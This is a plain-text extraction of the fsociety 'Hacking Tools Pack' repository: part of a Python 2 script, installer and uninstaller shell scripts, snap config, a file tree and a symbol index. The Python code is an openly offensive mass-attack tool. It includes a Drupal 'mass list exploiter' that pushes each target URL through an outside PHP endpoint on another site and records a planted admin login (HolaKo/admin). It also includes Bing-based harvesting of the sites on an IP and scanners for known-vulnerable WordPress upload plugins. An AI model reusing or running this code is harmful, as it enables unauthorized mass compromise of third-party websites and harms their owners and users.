opreq = urllib2.urlopen(req).read()
findurl = re.findall(
'<div class="b_title"><h2><a href="(.*?)" h=', opreq)
page += 1
for url in findurl:
split = urlparse(url)
site = split.netloc
if site not in sites:
print site
sites.append(site)
# Drupal Mass List Exploiter
def drupallist():
listop = raw_input("Enter The list Txt: ")
fileopen = open(listop, 'r')
content = fileopen.readlines()
for i in content:
url = i.strip()
try:
openurl = urllib2.urlopen(
'http://crig-alda.ro/wp-admin/css/index2.php?url=' + url + '&submit=submit')
readcontent = openurl.read()
if "Success" in readcontent:
print "[+]Success =>" + url
print "[-]username:HolaKo\n[-]password:admin"
save = open('drupal.txt', 'a')
save.write(
url + "\n" + "[-]username:HolaKo\n[-]password:admin\n")
else:
print i + "=> exploit not found "
except Exception as ex:
print ex
def maine():
print minu
choose = raw_input("choose a number: ")
while True:
if choose == "1":
drupal()
elif choose == "2":
getdrupal()
elif choose == "3":
drupallist()
elif choose == "4":
about()
elif choose == "99":
fsociety()
else:
maine()
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
final = unique(lista)
return final
def check_wordpress(sites):
wp = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-login.php').getcode() == 200:
wp.append(site)
except:
pass
return wp
def check_joomla(sites):
joomla = []
for site in sites:
try:
if urllib2.urlopen(site + 'administrator').getcode() == 200:
joomla.append(site)
except:
pass
return joomla
def wppjmla():
ipp = raw_input('Enter Target IP: ')
sites = bing_all_grabber(str(ipp))
wordpress = check_wordpress(sites)
joomla = check_joomla(sites)
for ss in wordpress:
print ss
print '[+] Found ! ', len(wordpress), ' Wordpress Websites'
print '-' * 30 + '\n'
for ss in joomla:
print ss
print '[+] Found ! ', len(joomla), ' Joomla Websites'
print '\n'
# initialise the fscan function
############################
def grabsqli(ip):
try:
print color.OKBLUE + "Check_Uplaod... "
print '\n'
page = 1
while page <= 21:
bing = "http://www.bing.com/search?q=ip%3A" + \
ip + "+upload&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
sites = findwebs
for i in sites:
try:
response = urllib2.urlopen(i).read()
checksqli(i)
except urllib2.HTTPError, e:
str(sites).strip(i)
page = page + 10
except:
pass
def checksqli(sqli):
responsetwo = urllib2.urlopen(sqli).read()
find = re.findall('type="file"', responsetwo)
if find:
print(" Found ==> " + sqli)
def sqlscan():
ip = raw_input('Enter IP -> ')
grabsqli(ip)
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
final = unique(lista)
return final
def check_wordpress(sites):
wp = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-login.php').getcode() == 200:
wp.append(site)
except:
pass
return wp
def check_wpstorethemeremotefileupload(sites):
wpstorethemeremotefileupload = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-content/themes/WPStore/upload/index.php').getcode() == 200:
wpstorethemeremotefileupload.append(site)
except:
pass
return wpstorethemeremotefileupload
def check_wpcontactcreativeform(sites):
wpcontactcreativeform = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-content/plugins/sexy-contact-form/includes/fileupload/index.php').getcode() == 200:
wpcontactcreativeform.append(site)
except:
pass
return wpcontactcreativeform
def check_wplazyseoplugin(sites):
wplazyseoplugin = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-content/plugins/lazy-seo/lazyseo.php').getcode() == 200:
wplazyseoplugin.append(site)
except:
pass
return wplazyseoplugin
def check_wpeasyupload(sites):
wpeasyupload = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-content/plugins/easy-comment-uploads/upload-form.php').getcode() == 200:
wpeasyupload.append(site)
except:
pass
return wpeasyupload
def check_wpsymposium(sites):
wpsymposium = []
for site in sites:
try:
if urllib2.urlopen(site + 'wp-symposium/server/file_upload_form.php').getcode() == 200:
wpsycmium.append(site)
except:
pass
return wpsymposium
def wpminiscanner():
ip = raw_input('Enter IP: ')
sites = bing_all_grabber(str(ip))
wordpress = check_wordpress(sites)
wpstorethemeremotefileupload = check_wpstorethemeremotefileupload(sites)
wpcontactcreativeform = check_wpcontactcreativeform(sites)
wplazyseoplugin = check_wplazyseoplugin(sites)
wpeasyupload = check_wpeasyupload(sites)
wpsymposium = check_wpsymposium(sites)
for ss in wordpress:
print ss
print '[*] Found, ', len(wordpress), ' wordpress sites.'
print '-' * 30 + '\n'
for ss in wpstorethemeremotefileupload:
print ss
print '[*] Found, ', len(
wpstorethemeremotefileupload), ' wp_storethemeremotefileupload exploit.'
print '-' * 30 + '\n'
for ss in wpcontactcreativeform:
print ss
print '[*] Found, ', len(wpcontactcreativeform), ' wp_contactcreativeform exploit.'
print '-' * 30 + '\n'
for ss in wplazyseoplugin:
print ss
print '[*] Found, ', len(wplazyseoplugin), ' wp_lazyseoplugin exploit.'
print '-' * 30 + '\n'
for ss in wpeasyupload:
print ss
print '[*] Found, ', len(wpeasyupload), ' wp_easyupload exploit.'
print '-' * 30 + '\n'
for ss in wpsymposium:
print ss
print '[*] Found, ', len(wpsymposium), ' wp_sympsiup exploit.'
print '\n'
############################
if __name__ == "__main__":
try:
agreement()
fsociety()
except KeyboardInterrupt:
print(" Finishing up...\n")
time.sleep(0.25)
================================================
FILE: install.sh
================================================
#!/bin/bash
# Bash Script for install Fsociety tools
# Must run to install tool
clear
echo "
███████╗███████╗ ██████╗ ██████╗██╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝██╔═══██╗██╔════╝██║██╔════╝╚══██╔══╝╚██╗ ██╔╝
█████╗ ███████╗██║ ██║██║ ██║█████╗ ██║ ╚████╔╝
██╔══╝ ╚════██║██║ ██║██║ ██║██╔══╝ ██║ ╚██╔╝
██║ ███████║╚██████╔╝╚██████╗██║███████╗ ██║ ██║
╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝╚══════╝ ╚═╝ ╚═╝
██╗███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ███████╗██████╗
██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║ ██╔════╝██╔══██╗
██║██╔██╗ ██║███████╗ ██║ ███████║██║ ██║ █████╗ ██████╔╝
██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║ ██╔══╝ ██╔══██╗
██║██║ ╚████║███████║ ██║ ██║ ██║███████╗███████╗███████╗██║ ██║
╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
";
sudo chmod +x uninstall
if [ "$PREFIX" = "/data/data/com.termux/files/usr" ]; then
INSTALL_DIR="$PREFIX/usr/share/doc/fsociety"
BIN_DIR="$PREFIX/bin/"
BASH_PATH="$PREFIX/bin/bash"
TERMUX=true
pkg install -y git python2
elif [ "$(uname)" = "Darwin" ]; then
INSTALL_DIR="/usr/local/fsociety"
BIN_DIR="/usr/local/bin/"
BASH_PATH="/bin/bash"
TERMUX=false
else
INSTALL_DIR="$HOME/.fsociety"
BIN_DIR="/usr/local/bin/"
BASH_PATH="/bin/bash"
TERMUX=false
sudo apt-get install -y git python2.7
fi
echo "[✔] Checking directories...";
if [ -d "$INSTALL_DIR" ]; then
echo "[◉] A directory fsociety was found! Do you want to replace it? [Y/n]:" ;
read -r mama
if [ "$mama" = "y" ]; then
if [ "$TERMUX" = true ]; then
rm -rf "$INSTALL_DIR"
rm "$BIN_DIR/fsociety*"
else
sudo rm -rf "$INSTALL_DIR"
sudo rm "$BIN_DIR/fsociety*"
fi
else
echo "[✘] If you want to install you must remove previous installations [✘] ";
echo "[✘] Installation failed! [✘] ";
exit
fi
fi
echo "[✔] Cleaning up old directories...";
if [ -d "$ETC_DIR/Manisso" ]; then
echo "$DIR_FOUND_TEXT"
if [ "$TERMUX" = true ]; then
rm -rf "$ETC_DIR/Manisso"
else
sudo rm -rf "$ETC_DIR/Manisso"
fi
fi
echo "[✔] Installing ...";
echo "";
git clone --depth=1 https://github.com/Manisso/fsociety "$INSTALL_DIR";
echo "#!$BASH_PATH
python $INSTALL_DIR/fsociety.py" "${1+"$@"}" > "$INSTALL_DIR/fsociety";
chmod +x "$INSTALL_DIR/fsociety";
if [ "$TERMUX" = true ]; then
cp "$INSTALL_DIR/fsociety" "$BIN_DIR"
cp "$INSTALL_DIR/fsociety.cfg" "$BIN_DIR"
else
sudo cp "$INSTALL_DIR/fsociety" "$BIN_DIR"
sudo cp "$INSTALL_DIR/fsociety.cfg" "$BIN_DIR"
fi
rm "$INSTALL_DIR/fsociety";
if [ -d "$INSTALL_DIR" ] ;
then
echo "";
echo "[✔] Tool installed successfully! [✔]";
echo "";
echo "[✔]====================================================================[✔]";
echo "[✔] All is done!! You can execute tool by typing fsociety ! [✔]";
echo "[✔]====================================================================[✔]";
echo "";
else
echo "[✘] Installation failed! [✘] ";
exit
fi
================================================
FILE: snap/snapcraft.yaml
================================================
name: fsociety
version: '0.3' # just for humans, typically '1.2+git' or '1.3.2'
summary: fsociety Hacking Tools Pack – A Penetration Testing Framework # 79 char long summary
description: Fsociety Hacking Tools Pack
A Penetration Testing Framework, you will have every script that a hacker needs
Fsociety Contains All Tools Used in Mr. Robot Series
grade: devel # must be 'stable' to release into candidate/stable channels
confinement: devmode # use 'strict' once you have the right plugs and slots
parts:
my-part:
# See 'snapcraft plugins'
plugin: nil
================================================
FILE: uninstall
================================================
#!/bin/bash
# Script for uninstall Fsociety tools
# ----- FSociety Team -----
#
# Coded by: CRO-THEHACKER
# * https://github.com/CRO-THEHACKER/
# Feel free to share any ideas with the
# project!
#
# -------------------------
clear
echo "
";
if [ "$PREFIX" = "/data/data/com.termux/files/usr" ]; then
INSTALL_DIR="$PREFIX/usr/share/doc/fsociety"
BIN_DIR="$PREFIX/bin/"
BASH_PATH="$PREFIX/bin/bash"
TERMUX=true
elif [ "$(uname)" = "Darwin" ]; then
INSTALL_DIR="/usr/local/fsociety"
BIN_DIR="/usr/local/bin/"
BASH_PATH="/bin/bash"
TERMUX=false
else
INSTALL_DIR="$HOME/.fsociety"
BIN_DIR="/usr/local/bin/"
BASH_PATH="/bin/bash"
TERMUX=false
fi
echo "[✔] Checking directories...";
if [ -d "$INSTALL_DIR" ]; then
rm -rf "$INSTALL_DIR"
rm "$BIN_DIR/fsociety*"
sudo rm -rf "$INSTALL_DIR"
sudo rm "$BIN_DIR/fsociety*"
else
echo "[✘] If you want to uninstall you must remove previous installations [✘] ";
echo "[✘] Failed! [✘] ";
fi
echo "[✔] Cleaning up old directories...";
if [ -d "$ETC_DIR/Manisso" ]; then
echo "$DIR_FOUND_TEXT"
if [ "$TERMUX" = true ]; then
rm -rf "$ETC_DIR/Manisso"
else
sudo rm -rf "$ETC_DIR/Manisso"
fi
fi
clear
clear
echo "[✔] all good!"
================================================
FILE: update.sh
================================================
#!/bin/bash
# Script for update Fsociety tools
git clone --depth=1 https://github.com/Manisso/fsociety.git
sudo chmod +x fsociety/install.sh
bash fsociety/install.sh
gitextract_lupzxt8z/ ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── ISSUE_TEMPLATE.md ├── LICENSE ├── README.md ├── docker-compose.yml ├── docs/ │ ├── css/ │ │ └── style.css │ ├── favicon/ │ │ ├── browserconfig.xml │ │ └── manifest.json │ └── index.html ├── fsociety.cfg ├── fsociety.py ├── install.sh ├── snap/ │ └── snapcraft.yaml ├── uninstall └── update.sh
SYMBOL INDEX (167 symbols across 1 files)
FILE: fsociety.py
class color (line 52) | class color:
function clearScr (line 65) | def clearScr():
function yesOrNo (line 69) | def yesOrNo():
function agreement (line 133) | def agreement():
class fsociety (line 142) | class fsociety:
method __init__ (line 143) | def __init__(self):
method githubContributors (line 197) | def githubContributors(self):
method createFolders (line 211) | def createFolders(self):
method completed (line 217) | def completed(self):
method update (line 221) | def update(self):
class sniffingSpoofingMenu (line 227) | class sniffingSpoofingMenu:
method __init__ (line 235) | def __init__(self):
method completed (line 261) | def completed(self):
class webHackingMenu (line 266) | class webHackingMenu:
method __init__ (line 274) | def __init__(self):
method completed (line 323) | def completed(self):
class privateWebHacking (line 328) | class privateWebHacking:
method __init__ (line 336) | def __init__(self):
method completed (line 343) | def completed(self):
class postExploitationMenu (line 348) | class postExploitationMenu:
method __init__ (line 356) | def __init__(self):
method completed (line 377) | def completed(self):
class informationGatheringMenu (line 387) | class informationGatheringMenu:
method __init__ (line 395) | def __init__(self):
method completed (line 432) | def completed(self):
class nmap (line 437) | class nmap:
method __init__ (line 445) | def __init__(self):
method installed (line 457) | def installed(self):
method install (line 460) | def install(self):
method run (line 466) | def run(self):
method menu (line 472) | def menu(self, target):
class setoolkit (line 501) | class setoolkit:
method __init__ (line 502) | def __init__(self):
method installed (line 514) | def installed(self):
method install (line 517) | def install(self):
method run (line 524) | def run(self):
class host2ip (line 528) | class host2ip:
method __init__ (line 536) | def __init__(self):
class wpscan (line 545) | class wpscan:
method __init__ (line 553) | def __init__(self):
method installed (line 564) | def installed(self):
method install (line 567) | def install(self):
method menu (line 571) | def menu(self, target):
class CMSmap (line 605) | class CMSmap:
method __init__ (line 613) | def __init__(self):
method installed (line 625) | def installed(self):
method install (line 628) | def install(self):
method run (line 632) | def run(self, target):
class XSStrike (line 642) | class XSStrike:
method __init__ (line 650) | def __init__(self):
method installed (line 661) | def installed(self):
method install (line 664) | def install(self):
method run (line 669) | def run(self):
class doork (line 673) | class doork:
method __init__ (line 681) | def __init__(self):
method installed (line 693) | def installed(self):
method install (line 696) | def install(self):
method run (line 701) | def run(self, target):
class crips (line 713) | class crips:
method __init (line 721) | def __init(self):
method installed (line 731) | def installed(self):
method install (line 734) | def install(self):
method run (line 739) | def run(self):
class passwordAttacksMenu (line 751) | class passwordAttacksMenu:
method __init__ (line 759) | def __init__(self):
method completed (line 778) | def completed(self):
class cupp (line 783) | class cupp:
method __init__ (line 791) | def __init__(self):
method installed (line 801) | def installed(self):
method install (line 804) | def install(self):
method run (line 808) | def run(self):
class wirelessTestingMenu (line 817) | class wirelessTestingMenu:
method __init__ (line 825) | def __init__(self):
method completed (line 846) | def completed(self):
class reaver (line 851) | class reaver:
method __init__ (line 852) | def __init__(self):
method installed (line 861) | def installed(self):
method install (line 864) | def install(self):
method run (line 874) | def run(self):
class pixiewps (line 878) | class pixiewps:
method __init__ (line 879) | def __init__(self):
method installed (line 888) | def installed(self):
method install (line 891) | def install(self):
method run (line 898) | def run(self):
class bluepot (line 902) | class bluepot:
method __init__ (line 903) | def __init__(self):
method installed (line 911) | def installed(self):
method install (line 914) | def install(self):
method run (line 920) | def run(self):
class exploitationToolsMenu (line 929) | class exploitationToolsMenu:
method __init__ (line 937) | def __init__(self):
method completed (line 976) | def completed(self):
class brutex (line 981) | class brutex:
method __init__ (line 982) | def __init__(self):
method installed (line 991) | def installed(self):
method install (line 994) | def install(self):
method run (line 1001) | def run(self):
class arachni (line 1006) | class arachni:
method __init__ (line 1007) | def __init__(self):
method installed (line 1016) | def installed(self):
method install (line 1019) | def install(self):
method run (line 1026) | def run(self):
function weeman (line 1034) | def weeman():
function gabriel (line 1043) | def gabriel():
function sitechecker (line 1052) | def sitechecker():
function ifinurl (line 1058) | def ifinurl():
function bsqlbf (line 1068) | def bsqlbf():
function atscan (line 1077) | def atscan():
function commix (line 1087) | def commix():
function vbulletinrce (line 1100) | def vbulletinrce():
function joomlarce (line 1105) | def joomlarce():
function inurl (line 1113) | def inurl():
function insinurl (line 1121) | def insinurl():
function jboss (line 1131) | def jboss():
function wppluginscan (line 1146) | def wppluginscan():
function sqlmap (line 1180) | def sqlmap():
function grabuploadedlink (line 1189) | def grabuploadedlink(url):
function grabshell (line 1202) | def grabshell(url):
function shelltarget (line 1216) | def shelltarget():
function poet (line 1224) | def poet():
function ssls (line 1233) | def ssls():
function unique (line 1245) | def unique(seq):
function bing_all_grabber (line 1250) | def bing_all_grabber(s):
function check_gravityforms (line 1279) | def check_gravityforms(sites):
function gravity (line 1292) | def gravity():
function shellnoob (line 1303) | def shellnoob():
function androidhash (line 1313) | def androidhash():
function cmsfew (line 1322) | def cmsfew():
function smtpsend (line 1330) | def smtpsend():
function pisher (line 1336) | def pisher():
function unique (line 1361) | def unique(seq):
class Fscan (line 1369) | class Fscan:
method __init__ (line 1370) | def __init__(self, serverip):
method getSites (line 1410) | def getSites(self, a):
method getWordpress (line 1444) | def getWordpress(self):
method getJoomla (line 1473) | def getJoomla(self):
method findPanels (line 1500) | def findPanels(self):
method findZip (line 1520) | def findZip(self):
method findUp (line 1537) | def findUp(self):
method getUsers (line 1558) | def getUsers(self):
method cloudflareBypasser (line 1596) | def cloudflareBypasser(self):
method getServerBanner (line 1623) | def getServerBanner(self):
method grabSqli (line 1638) | def grabSqli(self):
method checkSqli (line 1661) | def checkSqli(self, s):
method portScanner (line 1690) | def portScanner(self, mode, ran):
function do_it (line 1709) | def do_it(ip, port):
function drupal (line 1726) | def drupal():
function getdrupal (line 1768) | def getdrupal():
function drupallist (line 1792) | def drupallist():
function maine (line 1815) | def maine():
function unique (line 1835) | def unique(seq):
function bing_all_grabber (line 1840) | def bing_all_grabber(s):
function check_wordpress (line 1868) | def check_wordpress(sites):
function check_joomla (line 1880) | def check_joomla(sites):
function wppjmla (line 1892) | def wppjmla():
function grabsqli (line 1913) | def grabsqli(ip):
function checksqli (line 1938) | def checksqli(sqli):
function sqlscan (line 1945) | def sqlscan():
function unique (line 1950) | def unique(seq):
function bing_all_grabber (line 1955) | def bing_all_grabber(s):
function check_wordpress (line 1983) | def check_wordpress(sites):
function check_wpstorethemeremotefileupload (line 1995) | def check_wpstorethemeremotefileupload(sites):
function check_wpcontactcreativeform (line 2007) | def check_wpcontactcreativeform(sites):
function check_wplazyseoplugin (line 2019) | def check_wplazyseoplugin(sites):
function check_wpeasyupload (line 2031) | def check_wpeasyupload(sites):
function check_wpsymposium (line 2043) | def check_wpsymposium(sites):
function wpminiscanner (line 2055) | def wpminiscanner():
Condensed preview — 18 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (98K chars).
[
{
"path": ".gitignore",
"chars": 31,
"preview": "install\nlogs/\ntools/\n.DS_Store\n"
},
{
"path": "CODE_OF_CONDUCT.md",
"chars": 3213,
"preview": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, w"
},
{
"path": "CONTRIBUTING.md",
"chars": 1,
"preview": "\n"
},
{
"path": "Dockerfile",
"chars": 520,
"preview": "# Use Python 2.7 Slim\nFROM python:2.7-slim\n\n# Update Repos\nRUN apt-get update \\\n && apt-get install -qq -y --no-install"
},
{
"path": "ISSUE_TEMPLATE.md",
"chars": 179,
"preview": "## Checkboxes\n\n- [ ] Updated fsociety\n- [ ] Issue does not already exist\n- [ ] fsociety issue, not a tool issue\n\n## Expe"
},
{
"path": "LICENSE",
"chars": 1069,
"preview": "MIT License\n\nCopyright (c) 2016-2020 Manisso\n\nPermission is hereby granted, free of charge, to any person obtaining a co"
},
{
"path": "README.md",
"chars": 4377,
"preview": "# Fsociety Hacking Tools Pack\n\n[](https"
},
{
"path": "docker-compose.yml",
"chars": 53,
"preview": "version: '2'\n\nservices:\n fsociety:\n build: .\n"
},
{
"path": "docs/css/style.css",
"chars": 499,
"preview": "@font-face {\n font-family: \"MR ROBOT\";\n src: url(\"../fonts/MR ROBOT.ttf\");\n}\n\n.robot-text {\n font-family: 'MR R"
},
{
"path": "docs/favicon/browserconfig.xml",
"chars": 281,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<browserconfig><msapplication><tile><square70x70logo src=\"/ms-icon-70x70.png\"/><s"
},
{
"path": "docs/favicon/manifest.json",
"chars": 720,
"preview": "{\n \"name\": \"App\",\n \"icons\": [\n {\n \"src\": \"\\/android-icon-36x36.png\",\n \"sizes\": \"36x36\",\n \"type\": \"image\\/png\",\n "
},
{
"path": "docs/index.html",
"chars": 11603,
"preview": "<!DOCTYPE html>\n<!-- HTML5 -->\n<html>\n\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"x-ua-compatible\" content="
},
{
"path": "fsociety.cfg",
"chars": 107,
"preview": "[fsociety]\nagreement = false\ntoolDir = tools/\nlogDir = logs/\nyes = yes y ye ya yep yeah yee yeperoo not-no\n"
},
{
"path": "fsociety.py",
"chars": 64485,
"preview": "#!/usr/bin/env python2\n# ______ _ _ _______\n# | ____| (_) | | |_"
},
{
"path": "install.sh",
"chars": 3175,
"preview": "#!/bin/bash\n# Bash Script for install Fsociety tools\n# Must run to install tool\n\nclear\necho \"\n███████╗███████╗ ██████╗ "
},
{
"path": "snap/snapcraft.yaml",
"chars": 588,
"preview": "\n name: fsociety\n version: '0.3' # just for humans, typically '1.2+git' or '1.3.2'\n summary: fsociety Hacking Tools P"
},
{
"path": "uninstall",
"chars": 1334,
"preview": "#!/bin/bash\n# Script for uninstall Fsociety tools\n\n# ----- FSociety Team -----\n\n#\n\n# Coded by: CRO-THEHACKER\n\n# * https"
},
{
"path": "update.sh",
"chars": 167,
"preview": "#!/bin/bash\n# Script for update Fsociety tools\n\ngit clone --depth=1 https://github.com/Manisso/fsociety.git\nsudo chmod +"
}
]
About this extraction
This page contains the full source code of the Manisso/fsociety GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 18 files (90.2 KB), approximately 25.2k tokens, and a symbol index with 167 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.